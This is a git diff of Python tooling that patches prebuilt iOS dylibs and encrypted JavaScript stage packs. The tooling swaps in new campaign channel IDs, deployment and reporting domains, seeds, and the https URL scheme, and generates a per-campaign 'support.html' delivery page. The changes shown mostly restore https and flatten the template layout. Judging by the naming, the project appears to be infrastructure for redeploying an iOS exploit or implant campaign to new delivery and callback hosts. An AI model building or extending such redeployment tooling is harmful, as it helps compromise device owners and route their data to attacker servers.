a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/d1a39a282f3dc9d0e261c3df466093ee0f8d441d.min.js b/frontend/source/web/d1a39a282f3dc9d0e261c3df466093ee0f8d441d.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/d1a39a282f3dc9d0e261c3df466093ee0f8d441d.min.js rename to frontend/source/web/d1a39a282f3dc9d0e261c3df466093ee0f8d441d.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/e406714e92671b5218496fcb6666734411cb2320.js b/frontend/source/web/e406714e92671b5218496fcb6666734411cb2320.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/e406714e92671b5218496fcb6666734411cb2320.js rename to frontend/source/web/e406714e92671b5218496fcb6666734411cb2320.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/e406714e92671b5218496fcb6666734411cb2320.min.js b/frontend/source/web/e406714e92671b5218496fcb6666734411cb2320.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/e406714e92671b5218496fcb6666734411cb2320.min.js rename to frontend/source/web/e406714e92671b5218496fcb6666734411cb2320.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.js b/frontend/source/web/eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.js rename to frontend/source/web/eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.min.js b/frontend/source/web/eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.min.js rename to frontend/source/web/eb3e81b54e8763bfe505e7a18be8f5fd828a76f6.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/f10b572f33adf343a7398487c3f4cc71088b56ab.js b/frontend/source/web/f10b572f33adf343a7398487c3f4cc71088b56ab.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/f10b572f33adf343a7398487c3f4cc71088b56ab.js rename to frontend/source/web/f10b572f33adf343a7398487c3f4cc71088b56ab.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/f10b572f33adf343a7398487c3f4cc71088b56ab.min.js b/frontend/source/web/f10b572f33adf343a7398487c3f4cc71088b56ab.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/f10b572f33adf343a7398487c3f4cc71088b56ab.min.js rename to frontend/source/web/f10b572f33adf343a7398487c3f4cc71088b56ab.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.js b/frontend/source/web/f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.js rename to frontend/source/web/f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.min.js b/frontend/source/web/f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.min.js rename to frontend/source/web/f7994d47ee03dfb33e0fc7df94c8a215ff8fe66a.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/support.html b/frontend/source/web/support.html similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/support.html rename to frontend/source/web/support.html diff --git a/frontend/tests/test_scheme_patch.py b/frontend/tests/test_scheme_patch.py index 4c9a645..735ab1f 100644 --- a/frontend/tests/test_scheme_patch.py +++ b/frontend/tests/test_scheme_patch.py @@ -9,37 +9,47 @@ if str(TOOLS) not in sys.path: sys.path.insert(0, str(TOOLS)) from _scheme_patch import ( + HTTPS, + HTTP_SLOT, + HTTP_VISIBLE, LEGACY_SLASH, - NEW_VISIBLE, - OLD, - patch_deployment_scheme_to_http, + ensure_deployment_scheme_https, ) class SchemePatchTests(unittest.TestCase): def test_slot_sizes(self) -> None: - self.assertEqual(len(OLD), 10) + self.assertEqual(len(HTTPS), 10) self.assertEqual(len(LEGACY_SLASH), 10) - self.assertEqual(len(NEW_VISIBLE), 9) + self.assertEqual(len(HTTP_SLOT), 10) + self.assertEqual(len(HTTP_VISIBLE), 9) - def test_patches_core_fat_dylib(self) -> None: + def test_leaves_core_https_alone(self) -> None: src = FRONTEND / "source" / "sync_dylibs" / "tmp.dylib" data = src.read_bytes() - self.assertEqual(data.count(OLD), 2) - out = patch_deployment_scheme_to_http(data, expect_hits=2, label="core") - self.assertEqual(out.count(OLD), 0) - self.assertEqual(out.count(LEGACY_SLASH), 0) - self.assertEqual(out.count(NEW_VISIBLE + b"\x00"), 2) + self.assertEqual(data.count(HTTPS), 2) + out = ensure_deployment_scheme_https(data, expect_hits=2, label="core") + self.assertEqual(out, data) + self.assertEqual(out.count(HTTPS), 2) - def test_migrates_legacy_trailing_slash(self) -> None: + def test_restores_http_slot_on_core(self) -> None: src = FRONTEND / "source" / "sync_dylibs" / "tmp.dylib" - legacy = src.read_bytes().replace(OLD, LEGACY_SLASH) - self.assertEqual(legacy.count(LEGACY_SLASH), 2) - out = patch_deployment_scheme_to_http(legacy, expect_hits=2, label="core") + http_patched = src.read_bytes().replace(HTTPS, HTTP_SLOT) + self.assertEqual(http_patched.count(HTTP_SLOT), 2) + out = ensure_deployment_scheme_https(http_patched, expect_hits=2, label="core") + self.assertEqual(out.count(HTTPS), 2) + self.assertEqual(out.count(HTTP_SLOT), 0) self.assertEqual(out.count(LEGACY_SLASH), 0) - self.assertEqual(out.count(NEW_VISIBLE + b"\x00"), 2) - def test_patches_type0x01_thin(self) -> None: + def test_restores_legacy_trailing_slash(self) -> None: + src = FRONTEND / "source" / "sync_dylibs" / "tmp.dylib" + legacy = src.read_bytes().replace(HTTPS, LEGACY_SLASH) + self.assertEqual(legacy.count(LEGACY_SLASH), 2) + out = ensure_deployment_scheme_https(legacy, expect_hits=2, label="core") + self.assertEqual(out.count(LEGACY_SLASH), 0) + self.assertEqual(out.count(HTTPS), 2) + + def test_leaves_type0x01_https_alone(self) -> None: src = ( FRONTEND / "source" @@ -47,9 +57,10 @@ class SchemePatchTests(unittest.TestCase): / "65704c0722165a7bdedad3f3f61258b2f95470f6_type0x01.dylib" ) data = src.read_bytes() - out = patch_deployment_scheme_to_http(data, expect_hits=1, label="t0") - self.assertEqual(out.count(OLD), 0) - self.assertEqual(out.count(NEW_VISIBLE + b"\x00"), 1) + self.assertEqual(data.count(HTTPS), 1) + out = ensure_deployment_scheme_https(data, expect_hits=1, label="t0") + self.assertEqual(out, data) + self.assertEqual(out.count(HTTPS), 1) if __name__ == "__main__": diff --git a/frontend/tools/README.md b/frontend/tools/README.md index 6d14c9f..ddb99d4 100644 --- a/frontend/tools/README.md +++ b/frontend/tools/README.md @@ -17,7 +17,7 @@ python3 frontend/tools/new_project.py \ --channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \ --deployment-domains 'www.dep1.example,www.dep2.example' \ --reporting-domains 'www.rep1.example,www.rep2.example' \ - --support-template test # test=HUD 进度页;blank=空白页 + --support-template test # test | blank python3 frontend/tools/new_project.py \ --channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \ @@ -28,7 +28,7 @@ python3 frontend/tools/new_project.py \ --support-template blank ``` -`support_template`:`test`(默认,source 中带 HUD 的页面)或 `blank`(去掉 HUD,仅保留加载逻辑)。 +`support_template`:`test`(默认 HUD)、`blank`(空白页)。 产物: diff --git a/frontend/tools/_common.py b/frontend/tools/_common.py index 1e1c260..3275849 100644 --- a/frontend/tools/_common.py +++ b/frontend/tools/_common.py @@ -23,11 +23,11 @@ VENDOR_ROOT = TOOLS_ROOT / "vendor" if str(VENDOR_ROOT) not in sys.path: sys.path.insert(0, str(VENDOR_ROOT)) -# Campaign / channel id embedded in type-0x01 (also source/web// dirname). +# Campaign / channel id embedded in type-0x01 binaries (seed template). ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6" # Plain C-string channel in core + most sync business dylibs (FAT, 2 hits each). ORIGINAL_CORE_CHANNEL_ID = "e57f5207c9f2bacf7907c09ccf25b107" -CAMPAIGN_HASH = ORIGINAL_CHANNEL_ID # active campaign id (may be overridden) +CAMPAIGN_HASH = ORIGINAL_CHANNEL_ID # active channel id (may be overridden) # Campaign originals (current seeds embedded in type-0x01 + core) ORIGINAL_DEPLOYMENT_SEED = "09d0b8d58a71653cd1c89c64c866f2e6" @@ -41,7 +41,8 @@ OLD_REP = ORIGINAL_REPORTING_SEED.encode("ascii") _TREE_ROOT = SOURCE_ROOT CAMPAIGN_DIR = _TREE_ROOT / "web" SYNC_DIR = _TREE_ROOT / "sync" -SOURCE_CAMPAIGN_DIR = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID +# Flat delivery template (support.html + stage/native packs live directly under web/). +SOURCE_CAMPAIGN_DIR = SOURCE_ROOT / "web" # Vendored plaintext inputs (all under source/; no coruna-online runtime dependency). TYPE0X01_DYLIBS_DIR = SOURCE_ROOT / "type0x01_dylibs" diff --git a/frontend/tools/_scheme_patch.py b/frontend/tools/_scheme_patch.py index 6d06aac..9a08516 100644 --- a/frontend/tools/_scheme_patch.py +++ b/frontend/tools/_scheme_patch.py @@ -1,12 +1,15 @@ -"""Force Deployment/Reporting URL scheme from https to http for lab proxy testing. +"""Keep Deployment/Reporting URL scheme as ``https://%@``. Core/type0x01 build URLs with the cstring/CFString format ``https://%@``. -daily.html plugin URLs are already ``http://[HOST_PLACEHOLDER]/...``. +``daily.html`` plugin URLs use ``https://[HOST_PLACEHOLDER]/...``. -``https://%@`` (len 10) is replaced with ``http://%@\\0`` (9 visible chars + pad) -and matching CFString length fields are updated 10 → 9. Do **not** use a trailing -slash in the format string — paths already start with ``/``, which produced -``https://host//api/...``. +Older lab builds patched scheme to cleartext for proxy testing: + +- ``https://%@`` → ``http://%@\\0`` (9 visible chars + NUL pad), CFString length 10 → 9 +- mistaken same-length form ``http://%@/`` (caused ``host//path``) + +This module leaves pristine ``https://%@`` alone and restores any of those +legacy http forms back to ``https://%@`` (CFString length 10). """ from __future__ import annotations @@ -15,12 +18,17 @@ import struct from _path_patch import _arm64e_target, _fat_slices, _parse_macho -OLD = b"https://%@" +HTTPS = b"https://%@" # Previous mistaken same-length patch (caused host//path). LEGACY_SLASH = b"http://%@/" -# 10-byte slot: 9-char format + NUL pad (original terminator becomes a second NUL). -NEW_SLOT = b"http://%@\x00" -NEW_VISIBLE = b"http://%@" +# 10-byte slot from http cleartext patch: 9-char format + NUL pad. +HTTP_SLOT = b"http://%@\x00" +HTTP_VISIBLE = b"http://%@" + +# Back-compat aliases for tests / importers that still use the old names. +OLD = HTTPS +NEW_SLOT = HTTP_SLOT +NEW_VISIBLE = HTTP_VISIBLE def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes: @@ -35,22 +43,23 @@ def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes: cstring = macho.section("__TEXT", "__cstring") region = bytearray(data[cstring.offset : cstring.offset + cstring.size]) - # Prefer migrating legacy slash form, else patch original https form. - if region.count(LEGACY_SLASH) == expect_hits and region.count(OLD) == 0: - source = LEGACY_SLASH - elif region.count(OLD) == expect_hits: - source = OLD - elif ( - region.count(NEW_VISIBLE) >= expect_hits - and region.count(OLD) == 0 - and region.count(LEGACY_SLASH) == 0 - ): - # Already patched to http://%@ (NUL-terminated). + https_count = region.count(HTTPS) + slash_count = region.count(LEGACY_SLASH) + http_slot_count = region.count(HTTP_SLOT) + + if https_count == expect_hits and slash_count == 0 and http_slot_count == 0: + # Already https://%@ — nothing to do. return data + + if slash_count == expect_hits and https_count == 0 and http_slot_count == 0: + source = LEGACY_SLASH + elif http_slot_count == expect_hits and https_count == 0 and slash_count == 0: + source = HTTP_SLOT else: raise SystemExit( - f"{label}: expected {expect_hits} {OLD!r} or {LEGACY_SLASH!r} in " - f"__cstring; found https={region.count(OLD)} slash={region.count(LEGACY_SLASH)}" + f"{label}: expected {expect_hits} {HTTPS!r} (or legacy http forms) in " + f"__cstring; found https={https_count} slash={slash_count} " + f"http_slot={http_slot_count}" ) hits: list[int] = [] @@ -67,7 +76,7 @@ def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes: ) for hit in hits: - region[hit : hit + len(NEW_SLOT)] = NEW_SLOT + region[hit : hit + len(HTTPS)] = HTTPS buf = bytearray(data) buf[cstring.offset : cstring.offset + cstring.size] = region @@ -87,12 +96,12 @@ def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes: target = raw if architecture == "arm64" else _arm64e_target(raw) if target != path_vmaddr: continue - if length not in (len(OLD), len(NEW_VISIBLE)): + if length not in (len(HTTPS), len(HTTP_VISIBLE)): raise SystemExit( f"{label}: scheme CFString length={length}, expected " - f"{len(OLD)} or {len(NEW_VISIBLE)}" + f"{len(HTTPS)} or {len(HTTP_VISIBLE)}" ) - struct.pack_into(" bytes: return bytes(buf) -def patch_deployment_scheme_to_http( +def ensure_deployment_scheme_https( data: bytes, *, expect_hits: int, label: str, ) -> bytes: - """Patch ``https://%@`` → ``http://%@`` (CFString length 9) in thin or fat dylibs. + """Ensure ``https://%@`` (CFString length 10) in thin or fat dylibs. ``expect_hits`` is the total number of format strings across the whole file - (2 for fat core, 1 for thin type0x01). + (2 for fat core, 1 for thin type0x01). Restores legacy lab http patches. """ slices = _fat_slices(data, label=label) if slices is None: diff --git a/frontend/tools/new_project.py b/frontend/tools/new_project.py index 0d56761..05dc35c 100644 --- a/frontend/tools/new_project.py +++ b/frontend/tools/new_project.py @@ -26,7 +26,6 @@ PROJECT_ROOT = FRONTEND_ROOT.parent SOURCE_ROOT = FRONTEND_ROOT / "source" ARTIFACTS_ROOT = PROJECT_ROOT / "artifacts" LAB_ROOT = FRONTEND_ROOT # cwd / out/ for tooling -ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6" SUPPORT_TEMPLATES = ("test", "blank") DEFAULT_SUPPORT_TEMPLATE = "test" SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support" @@ -72,11 +71,13 @@ def apply_support_template(campaign_dir: Path, template: str) -> None: def copy_campaign_template(dst_campaign: Path) -> None: - src = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID + src = SOURCE_ROOT / "web" if not src.is_dir(): - raise SystemExit(f"missing source campaign: {src}") + raise SystemExit(f"missing source web template: {src}") + if not (src / "support.html").is_file(): + raise SystemExit(f"missing source web/support.html under {src}") if dst_campaign.exists(): - raise SystemExit(f"campaign already exists: {dst_campaign}") + raise SystemExit(f"web dest already exists: {dst_campaign}") shutil.copytree(src, dst_campaign, symlinks=False, ignore=_ignore_junk) @@ -220,10 +221,10 @@ def main() -> int: ) args = parser.parse_args() - src_campaign = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID + src_campaign = SOURCE_ROOT / "web" src_sync = SOURCE_ROOT / "sync" - if not src_campaign.is_dir(): - raise SystemExit(f"missing source campaign: {src_campaign}") + if not src_campaign.is_dir() or not (src_campaign / "support.html").is_file(): + raise SystemExit(f"missing source web template (need web/support.html): {src_campaign}") if not src_sync.is_dir(): raise SystemExit(f"missing source sync: {src_sync}") diff --git a/frontend/tools/patch_all.py b/frontend/tools/patch_all.py index 5518a12..4b846c8 100644 --- a/frontend/tools/patch_all.py +++ b/frontend/tools/patch_all.py @@ -17,7 +17,6 @@ TOOLS = Path(__file__).resolve().parent FRONTEND_ROOT = TOOLS.parent LAB_ROOT = FRONTEND_ROOT SOURCE_ROOT = FRONTEND_ROOT / "source" -ORIGINAL_CHANNEL_ID = "34f5121f572d6742703eb84ec2f866a6" def gen_seed() -> str: @@ -39,12 +38,12 @@ def ensure_working_tree(root: Path, channel: str) -> None: """Ensure channel-scoped sync/ and web/ exist.""" camp = root / "web" sync = root / "sync" - src_camp = SOURCE_ROOT / "web" / ORIGINAL_CHANNEL_ID + src_camp = SOURCE_ROOT / "web" src_sync = SOURCE_ROOT / "sync" - if not src_camp.is_dir() or not src_sync.is_dir(): + if not src_camp.is_dir() or not (src_camp / "support.html").is_file() or not src_sync.is_dir(): raise SystemExit( f"missing source template.\n" - f"expected: {src_camp} and {src_sync}" + f"expected: {src_camp}/support.html and {src_sync}" ) if not camp.is_dir() or not sync.is_dir(): print("=== bootstrap working tree from source/ ===") @@ -54,7 +53,7 @@ def ensure_working_tree(root: Path, channel: str) -> None: if not camp.is_dir(): camp.parent.mkdir(parents=True, exist_ok=True) shutil.copytree(src_camp, camp, symlinks=False, ignore=_ignore_junk) - print(f"copied campaign -> {camp}") + print(f"copied web/ -> {camp}") if not camp.is_dir() or not sync.is_dir(): raise SystemExit(f"failed to bootstrap {camp} / {sync}") print() diff --git a/frontend/tools/patch_core.py b/frontend/tools/patch_core.py index 8228cc6..b495a66 100644 --- a/frontend/tools/patch_core.py +++ b/frontend/tools/patch_core.py @@ -28,7 +28,7 @@ from _common import ( ) from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib from _path_patch import patch_initial_daily_path -from _scheme_patch import patch_deployment_scheme_to_http +from _scheme_patch import ensure_deployment_scheme_https import _common from coruna_netconfig_pipeline import ( @@ -151,7 +151,7 @@ def update_daily_hashes( ) -> bytes: """Rewrite channel sync URLs and update hashes/sizes keyed by wire filename.""" obj = json.loads(config_bytes) - prefix = f"http://[HOST_PLACEHOLDER]/channel/{channel}/sync" + prefix = f"https://[HOST_PLACEHOLDER]/channel/{channel}/sync" def patch_entry(entry: dict) -> None: wire = str(entry.get("url", "")).rsplit("/", 1)[-1] @@ -258,7 +258,7 @@ def main() -> int: if args.root: set_tree_root(args.root) - # sync-only: campaign dirs are web// and may not match ORIGINAL + # sync-only: working tree may lack web/ when patching sync in isolation ensure_tree_layout(tree_root(), require_campaign=False) if args.apply: if not args.root: @@ -315,8 +315,8 @@ def main() -> int: reporting_seed=rep, label=label, ) - # Fat arm64+arm64e: 2× https://%@ → http://%@/ for lab cleartext proxy. - data = patch_deployment_scheme_to_http( + # Fat arm64+arm64e: keep/restore 2× https://%@ (undo legacy http lab patch). + data = ensure_deployment_scheme_https( data, expect_hits=2, label=label ) diff --git a/frontend/tools/patch_secondary_packs.py b/frontend/tools/patch_secondary_packs.py index 6fcc5c4..e4db522 100644 --- a/frontend/tools/patch_secondary_packs.py +++ b/frontend/tools/patch_secondary_packs.py @@ -23,7 +23,7 @@ from _common import ( validate_seed_arg, ) from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib -from _scheme_patch import patch_deployment_scheme_to_http +from _scheme_patch import ensure_deployment_scheme_https from _path_patch import patch_initial_daily_path from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs import _common @@ -49,7 +49,7 @@ def main() -> int: parser.add_argument( "--channel-id", help=( - f"new 32-hex channel id written into type-0x01 and used as web// " + f"new 32-hex channel id written into type-0x01 " f"(default: keep {ORIGINAL_CHANNEL_ID})" ), ) @@ -141,8 +141,8 @@ def main() -> int: reporting_seed=rep, label=path.name, ) - # Thin type0x01: 1× https://%@ → http://%@/ for lab cleartext proxy. - data = patch_deployment_scheme_to_http( + # Thin type0x01: keep/restore 1× https://%@ (undo legacy http lab patch). + data = ensure_deployment_scheme_https( data, expect_hits=1, label=path.name ) if channel != ORIGINAL_CHANNEL_ID: diff --git a/frontend/tools/tests/test_patch_core.py b/frontend/tools/tests/test_patch_core.py index 61df3a6..f3689d9 100644 --- a/frontend/tools/tests/test_patch_core.py +++ b/frontend/tools/tests/test_patch_core.py @@ -22,7 +22,7 @@ class UpdateDailyHashesTest(unittest.TestCase): }, "springboard_entries": [ { - "url": "http://[HOST_PLACEHOLDER]/sync/spring.js", + "url": "https://[HOST_PLACEHOLDER]/sync/spring.js", "sha256": "old", "size": 2, } @@ -49,7 +49,7 @@ class UpdateDailyHashesTest(unittest.TestCase): ) ) - prefix = f"http://[HOST_PLACEHOLDER]/channel/{channel}/sync/" + prefix = f"https://[HOST_PLACEHOLDER]/channel/{channel}/sync/" self.assertEqual(result["core"]["url"], prefix + "erupt_flee.js") self.assertEqual(result["core"]["sha256"], "core-hash") self.assertEqual(result["springboard_entries"][0]["url"], prefix + "spring.js")